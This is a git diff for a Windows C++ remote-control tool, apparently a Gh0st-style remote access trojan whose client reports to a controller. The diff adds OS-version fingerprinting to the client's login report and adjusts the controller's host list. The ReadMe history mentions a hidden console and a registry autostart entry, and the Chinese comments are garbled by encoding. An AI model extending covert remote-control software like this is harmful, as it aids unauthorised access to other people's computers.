diff --git a/ReadMe.txt b/ReadMe.txt
index 444aabd..b7ddd36 100644
--- a/ReadMe.txt
+++ b/ReadMe.txt
@@ -169,3 +169,11 @@
 1、将"2015Remote.rc"的一个光标文件"4.cur"的路径由绝对路径改为相对路径。
 
 2、新增Release模式编译后控制台运行时不可见，新增TestRun向注册表写入开机自启动项。
+
+2019.3.29
+
+1、主控端和受控端同时修改LOGIN_INFOR结构，修复了受控端上报的操作系统信息不准确的问题。
+
+2、发布V1.0.0.5。
+
+注意：此次更新后的主控端需要和受控端匹配使用，否则可能出现问题。
diff --git a/client/LoginServer.cpp b/client/LoginServer.cpp
index 29dbe10..6f6bb16 100644
--- a/client/LoginServer.cpp
+++ b/client/LoginServer.cpp
@@ -1,6 +1,118 @@
 #include "StdAfx.h"
 #include "LoginServer.h"
 #include "Common.h"
+#include <string>
+
+/************************************************************************
+--------------------- 
+���ߣ�IT1995 
+��Դ��CSDN 
+ԭ�ģ�https://blog.csdn.net/qq78442761/article/details/64440535 
+��Ȩ����������Ϊ����ԭ�����£�ת���븽�ϲ������ӣ�
+�޸�˵����2019.3.29��Ԭ�����޸�
+************************************************************************/
+std::string getSystemName()
+{
+	std::string vname("δ֪����ϵͳ");
+	//���ж��Ƿ�Ϊwin8.1��win10
+	typedef void(__stdcall*NTPROC)(DWORD*, DWORD*, DWORD*);
+	HINSTANCE hinst = LoadLibrary("ntdll.dll");
+	DWORD dwMajor, dwMinor, dwBuildNumber;
+	NTPROC proc = (NTPROC)GetProcAddress(hinst, "RtlGetNtVersionNumbers"); 
+	proc(&dwMajor, &dwMinor, &dwBuildNumber); 
+	if (dwMajor == 6 && dwMinor == 3)	//win 8.1
+	{
+		vname = "Windows 8.1";
+		printf_s("�˵��Եİ汾Ϊ:%s\n", vname.c_str());
+		return vname;
+	}
+	if (dwMajor == 10 && dwMinor == 0)	//win 10
+	{
+		vname = "Windows 10";
+		printf_s("�˵��Եİ汾Ϊ:%s\n", vname.c_str());
+		return vname;
+	}
+	//���治���ж�Win Server����Ϊ���˻�δ������ϵͳ�Ļ��ӣ���ʱ������
+
+	//�ж�win8.1���µİ汾
+	SYSTEM_INFO info;                //��SYSTEM_INFO�ṹ�ж�64λAMD������
+	GetSystemInfo(&info);            //����GetSystemInfo�������ṹ
+	OSVERSIONINFOEX os;
+	os.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
+	if (GetVersionEx((OSVERSIONINFO *)&os))
+	{
+		//������ݰ汾��Ϣ�жϲ���ϵͳ����
+		switch (os.dwMajorVersion)
+		{                    //�ж����汾��
+		case 4:
+			switch (os.dwMinorVersion)
+			{                //�жϴΰ汾��
+			case 0:
+				if (os.dwPlatformId == VER_PLATFORM_WIN32_NT)
+					vname ="Windows NT 4.0";  //1996��7�·���
+				else if (os.dwPlatformId == VER_PLATFORM_WIN32_WINDOWS)
+					vname = "Windows 95";
+				break;
+			case 10:
+				vname ="Windows 98";
+				break;
+			case 90:
+				vname = "Windows Me";
+				break;
+			}
+			break;
+		case 5:
+			switch (os.dwMinorVersion)
+			{               //�ٱȽ�dwMinorVersion��ֵ
+			case 0:
+				vname = "Windows 2000";    //1999��12�·���
+				break;
+			case 1:
+				vname = "Windows XP";      //2001��8�·���
+				break;
+			case 2:
+				if (os.wProductType == VER_NT_WORKSTATION &&
+					info.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64)
+					vname = "Windows XP Professional x64 Edition";
+				else if (GetSystemMetrics(SM_SERVERR2) == 0)
+					vname = "Windows Server 2003";   //2003��3�·���
+				else if (GetSystemMetrics(SM_SERVERR2) != 0)
+					vname = "Windows Server 2003 R2";
+				break;
+			}
+			break;
+		case 6:
+			switch (os.dwMinorVersion)
+			{
+			case 0:
+				if (os.wProductType == VER_NT_WORKSTATION)
+					vname = "Windows Vista";
+				else
+					vname = "Windows Server 2008";   //�������汾
+				break;
+			case 1:
+				if (os.wProductType == VER_NT_WORKSTATION)
+					vname = "Windows 7";
+				else
+					vname = "Windows Server 2008 R2";
+				break;
+			case 2:
+				if (os.wProductType == VER_NT_WORKSTATION)
+					vname = "Windows 8";
+				else
+					vname = "Windows Server 2012";
+				break;
+			}
+			break;
+		default:
+			vname = "δ֪����ϵͳ";
+		}
+		printf_s("�˵��Եİ汾Ϊ:%s\n", vname.c_str());
+	}
+	else
+		printf_s("�汾��ȡʧ��\n");
+	return vname;
+}
 
 
 int SendLoginInfo(IOCPClient* ClientObject,DWORD dwSpeed)
@@ -8,8 +120,7 @@ int SendLoginInfo(IOCPClient* ClientObject,DWORD dwSpeed)
 	LOGIN_INFOR  LoginInfor = {0};
 	LoginInfor.bToken = TOKEN_LOGIN; // ����Ϊ��¼
 	//��ò���ϵͳ��Ϣ
-	LoginInfor.OsVerInfoEx.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
-	GetVersionEx((OSVERSIONINFO *)&LoginInfor.OsVerInfoEx); // ע��ת������
+	strcpy_s(LoginInfor.OsVerInfoEx, getSystemName().c_str());
 
 	//���PCName
 	char szPCName[MAX_PATH] = {0};
diff --git a/client/LoginServer.h b/client/LoginServer.h
index 8ff9aad..4e64225 100644
--- a/client/LoginServer.h
+++ b/client/LoginServer.h
@@ -8,7 +8,7 @@
 typedef struct  _LOGIN_INFOR
 {	
 	BYTE			bToken;			// ȡ1����½��Ϣ
-	OSVERSIONINFOEX	OsVerInfoEx;	// �汾��Ϣ
+	char			OsVerInfoEx[sizeof(OSVERSIONINFOEX)];// �汾��Ϣ
 	DWORD			dwCPUMHz;		// CPU��Ƶ
 	IN_ADDR			ClientAddr;		// �洢32λ��IPv4�ĵ�ַ���ݽṹ
 	char			szPCName[MAX_PATH];	// ������
diff --git a/client/Script.rc b/client/Script.rc
index 04ca3ec..046cdfa 100644
--- a/client/Script.rc
+++ b/client/Script.rc
@@ -87,7 +87,7 @@ IDR_WAVE                WAVE                    "Res\\msg.wav"
 //
 
 VS_VERSION_INFO VERSIONINFO
- FILEVERSION 1,0,0,4
+ FILEVERSION 1,0,0,5
  PRODUCTVERSION 1,0,0,1
  FILEFLAGSMASK 0x3fL
 #ifdef _DEBUG
@@ -105,7 +105,7 @@ BEGIN
         BEGIN
             VALUE "CompanyName", "FUCK THE UNIVERSE"
             VALUE "FileDescription", "A GHOST"
-            VALUE "FileVersion", "1.0.0.4"
+            VALUE "FileVersion", "1.0.0.5"
             VALUE "InternalName", "ServerDl.dll"
             VALUE "LegalCopyright", "Copyright (C) 2019-2025"
             VALUE "OriginalFilename", "ServerDl.dll"
diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc
index 6ef15ca..39eae70 100644
Binary files a/server/2015Remote/2015Remote.rc and b/server/2015Remote/2015Remote.rc differ
diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp
index 1ff8500..41531e9 100644
--- a/server/2015Remote/2015RemoteDlg.cpp
+++ b/server/2015Remote/2015RemoteDlg.cpp
@@ -54,12 +54,12 @@ typedef struct
 COLUMNSTRUCT g_Column_Data_Online[g_Column_Count_Online] = 
 {
 	{"IP",				148	},
-	{"�˿�",			150	},
+	{"�˿�",			64	},
 	{"�������/��ע",	160	},
-	{"����ϵͳ",		128	},
+	{"����ϵͳ",		256	},
 	{"CPU",				80	},
-	{"����ͷ",			81	},
-	{"PING",			151	},
+	{"����ͷ",			72	},
+	{"PING",			100	},
 };
 
 // ����Ӧ�ó��򡰹��ڡ��˵���� CAboutDlg �Ի���
@@ -970,30 +970,8 @@ LRESULT CMy2015RemoteDlg::OnUserToOnlineList(WPARAM wParam, LPARAM lParam)
 		//��������
 		strPCName = LoginInfor->szPCName;
 
-		switch (LoginInfor->OsVerInfoEx.dwPlatformId)
-		{
-		case VER_PLATFORM_WIN32_NT:
-			if ( LoginInfor->OsVerInfoEx.dwMajorVersion <= 4 )
-				strOS = "WindowsNT";
-			if ( LoginInfor->OsVerInfoEx.dwMajorVersion == 5 && LoginInfor->OsVerInfoEx.dwMinorVersion == 0 )
-				strOS = "Windows2000";
-			if ( LoginInfor->OsVerInfoEx.dwMajorVersion == 5 && LoginInfor->OsVerInfoEx.dwMinorVersion == 1 )
-				strOS = "WindowsXP";
-			if ( LoginInfor->OsVerInfoEx.dwMajorVersion == 5 && LoginInfor->OsVerInfoEx.dwMinorVersion == 2 )
-				strOS = "Windows2003";
-			if ( LoginInfor->OsVerInfoEx.dwMajorVersion == 6 && LoginInfor->OsVerInfoEx.dwMinorVersion == 0 )
-				strOS = "WindowsVista"; 
-			if ( LoginInfor->OsVerInfoEx.dwMajorVersion == 6 && LoginInfor->OsVerInfoEx.dwMinorVersion == 1 )
-				strOS = "Windows7";
-			if ( LoginInfor->OsVerInfoEx.dwMajorVersion == 6 && LoginInfor->OsVerInfoEx.dwMinorVersion == 2 )
-				strOS = "Windows8";
-			if ( LoginInfor->OsVerInfoEx.dwMajorVersion == 6 && LoginInfor->OsVerInfoEx.dwMinorVersion == 3 )
-				strOS = "Windows8.1";
-			if ( LoginInfor->OsVerInfoEx.dwMajorVersion == 6 && LoginInfor->OsVerInfoEx.dwMinorVersion == 4 )
-				strOS = "Windows10";
-			if ( LoginInfor->OsVerInfoEx.dwMajorVersion == 10 && LoginInfor->OsVerInfoEx.dwMinorVersion == 0 )
-				strOS = "Windows10";
-		}
+		//�汾��Ϣ
+		strOS = LoginInfor->OsVerInfoEx;
 
 		//CPU
 		strCPU.Format("%dMHz", LoginInfor->dwCPUMHz);
diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h
index 31b7fad..eb993a7 100644
--- a/server/2015Remote/2015RemoteDlg.h
+++ b/server/2015Remote/2015RemoteDlg.h
@@ -17,7 +17,7 @@
 typedef struct  _LOGIN_INFOR
 {	
 	BYTE			bToken;			// ȡ1����½��Ϣ
-	OSVERSIONINFOEX	OsVerInfoEx;	// �汾��Ϣ
+	char			OsVerInfoEx[sizeof(OSVERSIONINFOEX)];// �汾��Ϣ
 	DWORD			dwCPUMHz;		// CPU��Ƶ
 	IN_ADDR			ClientAddr;		// �洢32λ��IPv4�ĵ�ַ���ݽṹ
 	char			szPCName[MAX_PATH];	// ������